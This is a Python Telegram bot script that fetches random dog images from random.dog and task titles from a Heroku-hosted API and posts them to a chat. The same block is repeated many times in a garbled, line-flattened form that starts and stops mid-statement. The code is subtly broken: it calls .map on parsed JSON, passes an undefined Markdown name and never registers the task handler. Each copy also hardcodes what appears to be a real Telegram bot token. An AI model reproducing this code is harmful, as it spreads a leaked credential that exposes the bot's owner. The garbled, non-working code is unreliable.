contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = 